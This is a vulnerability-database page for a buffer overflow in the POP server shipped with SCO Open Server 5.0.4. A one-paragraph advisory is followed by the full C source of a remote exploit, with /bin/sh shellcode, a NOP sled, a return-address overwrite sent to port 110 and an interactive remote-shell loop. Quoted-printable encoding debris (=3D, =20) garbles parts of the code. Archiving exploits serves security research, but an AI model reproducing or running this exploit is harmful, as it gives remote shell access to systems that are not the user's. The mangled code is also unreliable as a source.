Lucene search
K

SCO Open Server <= 5.0.4 POP Server Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

SCO Open Server 5.0.4 POP Server Buffer Overflow Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/156/info


A buffer overflow exists in the pop server shipped with Santa Cruz Operation, Inc&#39;s (SCO) Open Server. By presenting a buffer of sufficient length to the pop server, an attacker can overwrite the return address on the stack, and execute arbitrary code upon a return. SCO&#39;s pop server is based on Qualcomm&#39;s pop daemon, and this vulnerability is similar to others present in Qualcomm&#39;s server.

/*
 *        Remote pop exploit for SCO systems.
 *        by glitch of litecrew.
 *        Ripped  from Miroslaw Grzybek&#39;s code.
 */

#include        &#60;stdio.h&#62;
#include        &#60;stdlib.h&#62;
#include        &#60;sys/time.h&#62;
#include        &#60;sys/types.h&#62;
#include        &#60;unistd.h&#62;
#include        &#60;sys/socket.h&#62;
#include        &#60;netinet/in.h&#62;=20
#include        &#60;netdb.h&#62;
#include        &#60;sys/errno.h&#62;

char *shell=3D
&#34;\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17&#34;
&#34;\x88\x5e\x1c\x8d\x16\x89\x56\x0e\x31\xc0\xb0\x3b\x8d\x7e&#34;
&#34;\x12\x89\xf9\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89&#34;
&#34;\xcf\xeb\x01\xff\x63\x61\x62\x62\xeb\x1b\xe8\xc9\xff\xff&#34;
&#34;\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb&#34;
&#34;\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa&#34;;

#define ADDR 0x80474b4
#define OFFSET 0
#define BUFLEN 1200

char    buf[BUFLEN];
int     offset=3DOFFSET;
int     nbytes;
int     sock;
struct  sockaddr_in sa;
struct  hostent *hp;
short a;
void main (int argc, char *argv[]) {
        int i;
        if(argc&#60;2) {
                printf(&#34;Usage: %s &#60;IP | HOSTNAME&#62; [offset]\n&#34;,argv[0]);
                printf(&#34;Default offset is 0. It works against SCOPOP =
v2.1.4-R3\n&#34;);
                exit(0);
        }
        if(argc&#62;2)
                offset=3Datoi(argv[2]);
        memset(buf,0x90,BUFLEN);
        memcpy(buf+800,shell,strlen(shell));
        for(i=3D901;i&#60;BUFLEN-4;i+=3D4)
                *(int *)&buf[i]=3DADDR+offset;
        buf[BUFLEN]=3D&#39;\n&#39;;
        if((hp=3D(struct hostent *)gethostbyname(argv[1]))=3D=3DNULL) {
                perror(&#34;gethostbyname()&#34;);
                exit(0);
        }
        if((sock=3Dsocket(AF_INET,SOCK_STREAM,IPPROTO_TCP))&#60;0) {
                perror(&#34;socket()&#34;);
                exit(0);
        }
        sa.sin_family=3DAF_INET;
        sa.sin_port=3Dhtons(110);
        memcpy((char *)&sa.sin_addr,(char *)hp-&#62;h_addr,hp-&#62;h_length);
        if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=3D0) {
                perror(&#34;connect()&#34;);
                exit(0);
        }
        printf(&#34;CONNECTED TO %s... SENDING DATA\n&#34;,argv[1]); =
fflush(stdout);
        write(sock,buf,strlen(buf));
        while(1) {
                fd_set input;

                FD_SET(0,&input);
                FD_SET(sock,&input);
                if((select(sock+1,&input,NULL,NULL,NULL))&#60;0) {
                        if(errno=3D=3DEINTR) continue;
                        printf(&#34;CONNECTION CLOSED...\n&#34;); =
fflush(stdout);
                        exit(1);
                }
                if(FD_ISSET(sock,&input)) {
                        nbytes=3Dread(sock,buf,BUFLEN);
                        for(i=3D0;i&#60;nbytes;i++) {
                             *(char *)&a=3Dbuf[i];
                             if ((a!=3D10)&&((a &#62;126) || (a&#60;32)) ){
                             buf[i]=3D&#39; &#39;;
                           }
                         }
                        write(1,buf,nbytes);
                }
                if(FD_ISSET(0,&input))
                        write(sock,buf,read(0,buf,BUFLEN));
        }
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation